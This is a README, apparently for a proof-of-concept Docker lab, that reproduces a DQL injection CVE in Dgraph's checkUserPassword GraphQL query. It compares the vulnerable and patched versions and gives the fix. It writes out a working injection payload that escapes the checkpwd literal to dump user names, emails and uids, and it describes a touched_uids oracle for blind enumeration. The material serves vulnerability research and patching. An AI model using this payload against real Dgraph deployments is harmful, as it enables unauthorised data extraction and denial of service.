
DockerラボでCVE-2026-44840を再現します。これはDgraphのcheckUserPassword GraphQLクエリにおけるDQLインジェクションで、エクスプロイトスクリプトと脆弱版と修正版の比較を含みます。
checkUserPassword 経由、GraphQL)Dgraph における実際のインジェクションを再現する Docker ラボ:
dgraph/dgraph:v25.3.3dgraph/dgraph:v25.3.42026年の実在する CVE · CVSS 3.1 7.5 (High) ·
CWE-943(データクエリロジックにおける 不適切な中和)· Kai Aizen に帰属(GHSA-q2m9-6jp9-c6mc、GO-2026-5837)。 隔離され許可されたラボ環境でのみ使用すること。
checkUserPassword は、@secret(field: "password") ディレクティブを持つ型に対して
Dgraph がスキーマを自動生成する GraphQL クエリである。
(≤ v25.3.3)では、パスワードが で連結されていた:
graphql/resolve/query_rewriter.gofmt.SprintfpwdVar := fmt.Sprintf(`checkpwd(%s, "%s")`, predicate, password) // VULNERABLE
攻撃者のパスワードはそのまま DQL に文字通り挿入される:
pwd as checkpwd(User.password, "<password del atacante>")
修正(v25.3.4、コミット cee702c)では値をパラメータ化する:
pwdVar = "$pwd0" // FIX
// executa con &dgoapi.Request{Query: qry, Vars: map[string]string{"$pwd0": password}, ...}
2つの Dgraph クラスタ(zero+alpha)を起動する: v25.3.3 と v25.3.4。
スキーマ type User @secret(field: "password") を投入し、admin、alice、bob を作成する。
checkUserPassword に対して、DQL リテラルから脱出し任意のクエリブロックを追加する
パスワードを送信する:
x")
}
injected(func: has(User.name)) {
User.name
User.email
uid
}
#
v25.3.3 では injected { ... } ブロックがパースされ、サーバーサイドで実行される。
| テスト | v25.3.3(脆弱) | v25.3.4(修正済み) |
|---|---|---|
| 正しいパスワードでログイン | OK(touched_uids 7) | OK(touched_uids 7) |
| 誤ったパスワードでログイン | null(5) | null(5) |
インジェクションされたパスワード )} injected{...} # | 実行される: touched_uids 14 | 無効化: 5 |
オラクル: eq(User.name,"bob") をインジェクション | touched_uids 7(存在する) | 5 |
オラクル: eq(User.name,"nobody") をインジェクション | 5(存在しない) | 5 |
dgraph alpha のログ | injected ブロックを含む DQL を表示 | パラメータ化された DQL、ブロックなし |
CVE の影響: サーバーサイドでの任意 DQL 実行 → データのブラインド列挙
(touched_uids/タイミング経由)、スキーマ探索(has()、eq())、および高コストな
トラバーサル(expand(_all_)、再帰)をインジェクションすることによるリソース消費 DoS。
# 1) levantar todo, preparar esquema/usuarios y ejecutar el exploit
bash run.sh
# 2) solo el exploit (si el lab ya esta preparado)
python3 exploit/exploit.py
# 3) montar el entorno desde cero (pod / volcado)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280
# 4) limpiar
docker compose down # conserva los volumenes
docker compose down -v # borra los volumenes (datos de dgraph)
| サービス | HTTP GraphQL | HTTP admin | gRPC alpha |
|---|---|---|---|
| alpha v25.3.3 | http://localhost:8180/graphql | http://localhost:8180/admin | 9180 |
| alpha v25.3.4 | http://localhost:8280/graphql | http://localhost:8280/admin | 9280 |
CVE-2026-44840-poc/
├── docker-compose.yml # 2 clusters: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql # type User @secret(field:"password")
├── run.sh # orquestador completo
├── REDTEAM.md # guía red team: recon + explotación paso a paso + OPSEC
├── setup/setup.py # esquema + usuarios
└── exploit/exploit.py # inyeccion DQL e oraculo
攻撃的な運用ガイド(偵察、ステップバイステップのエクスプロイト、ペイロード、証拠
および OPSEC): REDTEAM.md。
パスワードは GraphQL 変数として送信される。rewriter に到達する値はエスケープされず、
checkpwd(User.password, "...") 内に挿入される。ペイロード:
x") # cierra el literal de checkpwd y la funcion
} # cierra el bloque checkPwd
injected(...) # nuevo bloque root del atacante
{ ... }
# # comenta el resto del template: ")
# は、テンプレートのサフィックス(checkpwd の閉じ ")がパースを壊すのを防ぐ。
dgraph v25.3.4+ に更新する。dgoapi.Request の vars)、
決して fmt.Sprintf で入力を補間しない。